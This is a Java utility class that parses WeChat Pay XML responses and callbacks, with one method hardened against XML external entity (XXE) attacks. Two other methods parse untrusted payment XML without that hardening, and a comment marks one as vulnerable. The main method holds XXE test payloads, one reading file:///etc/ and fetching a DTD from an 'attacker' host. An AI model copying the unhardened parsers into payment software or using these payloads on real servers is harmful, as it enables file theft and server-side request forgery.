package pay.weixin.utils;


import org.jdom.Document;
import org.jdom.Element;
import org.jdom.JDOMException;
import org.jdom.input.SAXBuilder;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import pay.weixin.config.UnifiedorderResult;
import pay.weixin.config.WXPayResult;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import java.io.*;
import java.util.List;
import java.util.SortedMap;
import java.util.TreeMap;

/**
 * 微信解析xml：带有CDATA格式的
 * Jahnke
 * 2017年1月3日 21:34:12
 */
public class JdomParseXmlUtils {

    /**
     * 1、统一下单获取微信返回
     * 解析的时候自动去掉CDMA
     *
     * @param xml
     */
    @SuppressWarnings("unchecked")
    public static UnifiedorderResult getUnifiedorderResult(String xml) {
        UnifiedorderResult unifieorderResult = new UnifiedorderResult();
        try {
            StringReader read = new StringReader(xml);
            // 创建新的输入源SAX 解析器将使用 InputSource 对象来确定如何读取 XML 输入
            InputSource source = new InputSource(read);
            // 创建一个新的SAXBuilder
            SAXBuilder sb = new SAXBuilder();
            // 通过输入源构造一个Document
            Document doc;
            doc = (Document) sb.build(source);

            Element root = doc.getRootElement();// 指向根节点
            List<Element> list = root.getChildren();

            if (list != null && list.size() > 0) {
                for (Element element : list) {
					/*
					 * <xml>
						   <return_code><![CDATA[SUCCESS]]></return_code>
						   <return_msg><![CDATA[OK]]></return_msg>
						   <appid><![CDATA[wx2421b1c4370ec43b]]></appid>
						   <mch_id><![CDATA[10000100]]></mch_id>
						   <nonce_str><![CDATA[IITRi8Iabbblz1Jc]]></nonce_str>
						   <sign><![CDATA[7921E432F65EB8ED0CE9755F0E86D72F]]></sign>
						   <result_code><![CDATA[SUCCESS]]></result_code>
						   <prepay_id><![CDATA[wx201411101639507cbf6ffd8b0779950874]]></prepay_id>
						   <trade_type><![CDATA[JSAPI]]></trade_type>
						</xml>
					 */
                    System.out.println("key是：" + element.getName() + "，值是：" + element.getText());

                    if ("return_code".equals(element.getName())) {
                        unifieorderResult.setReturn_code(element.getText());
                    }

                    if ("return_msg".equals(element.getName())) {
                        unifieorderResult.setReturn_msg(element.getText());
                    }

                    if ("appid".equals(element.getName())) {
                        unifieorderResult.setAppid(element.getText());
                    }


                    if ("mch_id".equals(element.getName())) {
                        unifieorderResult.setMch_id(element.getText());
                    }

                    if ("nonce_str".equals(element.getName())) {
                        unifieorderResult.setNonce_str(element.getText());
                    }

                    if ("sign".equals(element.getName())) {
                        unifieorderResult.setSign(element.getText());
                    }

                    if ("result_code".equals(element.getName())) {
                        unifieorderResult.setResult_code(element.getText());
                    }

                    if ("prepay_id".equals(element.getName())) {
                        unifieorderResult.setPrepay_id(element.getText());
                    }

                    if ("trade_type".equals(element.getName())) {
                        unifieorderResult.setTrade_type(element.getText());
                    }
                }
            }

        } catch (JDOMException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (Exception e) {
            e.printStackTrace();
        }

        return unifieorderResult;
    }


    /**
     * 2、微信回调后参数解析  有漏洞
     * 解析的时候自动去掉CDMA
     *
     * @param xml
     */
    @SuppressWarnings("unchecked")
    public static WXPayResult getWXPayResult(String xml) {
        WXPayResult wXPayResult = new WXPayResult();
        try {
            StringReader read = new StringReader(xml);
            // 创建新的输入源SAX 解析器将使用 InputSource 对象来确定如何读取 XML 输入
            InputSource source = new InputSource(read);
            // 创建一个新的SAXBuilder
            SAXBuilder sb = new SAXBuilder();

            // 通过输入源构造一个Document
            Document doc = (Document) sb.build(source);
            Element root = doc.getRootElement();// 指向根节点
            List<Element> list = root.getChildren();

            if (list != null && list.size() > 0) {
                for (Element element : list) {
//					System.out.println("key是："+element.getName()+"，值是："+element.getText());

                    if ("return_code".equals(element.getName())) {
                        wXPayResult.setReturn_code(element.getText());
                    }
                    if ("return_msg".equals(element.getName())) {
                        wXPayResult.setReturn_msg(element.getText());
                    }
                    if ("appid".equals(element.getName())) {
                        wXPayResult.setAppid(element.getText());
                    }
                    if ("mch_id".equals(element.getName())) {
                        wXPayResult.setMch_id(element.getText());
                    }
                    if ("nonce_str".equals(element.getName())) {
                        wXPayResult.setNonce_str(element.getText());
                    }
                    if ("sign".equals(element.getName())) {
                        wXPayResult.setSign(element.getText());
                    }
                    if ("result_code".equals(element.getName())) {
                        wXPayResult.setResult_code(element.getText());
                    }
                    if ("out_trade_no".equals(element.getName())) {
                        wXPayResult.setOut_trade_no(element.getText());
                    }
                }
            }

        } catch (JDOMException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (Exception e) {
            e.printStackTrace();
        }

        return wXPayResult;
    }


    //解析微信回调，XXE漏洞
    @SuppressWarnings({"unused", "rawtypes", "unchecked"})
    public static SortedMap<Object, Object> parseXmlToList(String strXML) {
        SortedMap<Object, Object> data =new TreeMap<Object, Object>();
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        String FEATURE = null;
        try {
            // This is the PRIMARY defense. If DTDs (doctypes) are disallowed, almost all XML entity attacks are prevented
            // Xerces 2 only - http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl
            FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
            dbf.setFeature(FEATURE, true);

            // If you can't completely disable DTDs, then at least do the following:
            // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities
            // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities
            // JDK7+ - http://xml.org/sax/features/external-general-entities
            FEATURE = "http://xml.org/sax/features/external-general-entities";
            dbf.setFeature(FEATURE, false);

            // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-parameter-entities
            // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities
            // JDK7+ - http://xml.org/sax/features/external-parameter-entities
            FEATURE = "http://xml.org/sax/features/external-parameter-entities";
            dbf.setFeature(FEATURE, false);

            // Disable external DTDs as well
            FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
            dbf.setFeature(FEATURE, false);

            // and these as well, per Timothy Morgan's 2014 paper: "XML Schema, DTD, and Entity Attacks"
            dbf.setXIncludeAware(false);
            dbf.setExpandEntityReferences(false);

            // And, per Timothy Morgan: "If for some reason support for inline DOCTYPEs are a requirement, then
            // ensure the entity settings are disabled (as shown above) and beware that SSRF attacks
            // (http://cwe.mitre.org/data/definitions/918.html) and denial
            // of service attacks (such as billion laughs or decompression bombs via "jar:") are a risk."

            // remaining parser logic
        } catch (ParserConfigurationException e) {
            // This should catch a failed setFeature feature
        }
        DocumentBuilder documentBuilder = null;
        try {
            documentBuilder = dbf.newDocumentBuilder();
        } catch (ParserConfigurationException e) {
            e.printStackTrace();
        }
        InputStream stream = null;
        try {
            stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
        }
        org.w3c.dom.Document doc = null;
        try {
            doc = documentBuilder.parse(stream);
        } catch (SAXException e) {
//            e.printStackTrace();
            System.out.println(e.getMessage());
        } catch (IOException e) {
            e.printStackTrace();
        }
        if(null == doc){
            return null;
        }
        doc.getDocumentElement().normalize();
        NodeList nodeList = doc.getDocumentElement().getChildNodes();
        for (int idx = 0; idx < nodeList.getLength(); ++idx) {
            Node node = nodeList.item(idx);
            if (node.getNodeType() == Node.ELEMENT_NODE) {
                org.w3c.dom.Element element = (org.w3c.dom.Element) node;
                data.put(element.getNodeName(), element.getTextContent());
//                System.out.println(element.getNodeName() + " " + element.getTextContent());
            }
        }
        try {
            stream.close();
        } catch (Exception ex) {

        }
        return data;
    }

    public static void main(String[] args) {
        String ss = "<xml><appid><![CDATA[wx_xxe_dbcwx06c5789c9b5ce28f]]></appid><attach><![CDATA[备用参数]]></attach><bank_type><![CDATA[CFT]]></bank_type><cash_fee>" +
                "<![CDATA[1]]></cash_fee><fee_type><![CDATA[CNY]]></fee_type><is_subscribe><![CDATA[N]]></is_subscribe><mch_id><![CDATA[1480845142]]></mch_id><nonce_str>" +
                "<![CDATA[uPxWoxSCsFygRwwE]]></nonce_str><openid><![CDATA[oFCMNwbR_Ws0Wt6rfiIc7uF_uSD8]]></openid><out_trade_no><![CDATA[1712191823433950]]></out_trade_no>" +
                "<result_code><![CDATA[SUCCESS]]></result_code><return_code><![CDATA[SUCCESS]]></return_code><sign><![CDATA[4C770E3F01E4A53950ABBA15FABF0277]]></sign><time_end><![CDATA[20171219182401]]></time_end><total_fee>1</total_fee><trade_type><![CDATA[APP]]></trade_type><transaction_id><![CDATA[4200000030201712197296319517]]></transaction_id></xml>";

        String ssss = "<?xml version=\"1.0\" encoding=\"utf-8\"?><!DOCTYPE root [<!ENTITY % xxe SYSTEM \"http://jinyouapp.com\">%xxe;]>";
        String zz = "<?xml version=\"1.0\" encoding=\"utf-8\"?><!DOCTYPE root [<!ENTITY % attack SYSTEM \"file:///etc/\"><!ENTITY % xxe SYSTEM \"http://attacker:8080/shell/data.dtd\";>%xxe;]>";

//        dom4jXMLParse(ss);
//        getWXPayResult(ss);
        System.out.println("---------------");
//        parseXmlToList(ssss);

//        if (!ValidateUtil.isNull(ssss)) {
//            WXPayResult wxPayResult = JdomParseXmlUtils.getWXPayResult2(ss);
//
//            if ("SUCCESS".equalsIgnoreCase(wxPayResult.getReturn_code())) {//支付成功
//                SortedMap<Object, Object> parameters = new TreeMap<Object, Object>();
//                parameters.put("appid", wxPayResult.getAppid());
//                parameters.put("attach", wxPayResult.getAttach());
//                parameters.put("bank_type", wxPayResult.getBank_type());
//                parameters.put("cash_fee", wxPayResult.getCash_fee());
//                parameters.put("fee_type", wxPayResult.getFee_type());
//                parameters.put("is_subscribe", wxPayResult.getIs_subscribe());
//                parameters.put("mch_id", wxPayResult.getMch_id());
//                parameters.put("nonce_str", wxPayResult.getNonce_str());
//                parameters.put("openid", wxPayResult.getOpenid());
//                parameters.put("out_trade_no", wxPayResult.getOut_trade_no());
//                parameters.put("result_code", wxPayResult.getResult_code());
//                parameters.put("return_code", wxPayResult.getReturn_code());
//                parameters.put("time_end", wxPayResult.getTime_end());
//                parameters.put("total_fee", wxPayResult.getTotal_fee());
//                parameters.put("trade_type", wxPayResult.getTrade_type());
//                parameters.put("transaction_id", wxPayResult.getTransaction_id());
//            }
//        }
    }
}
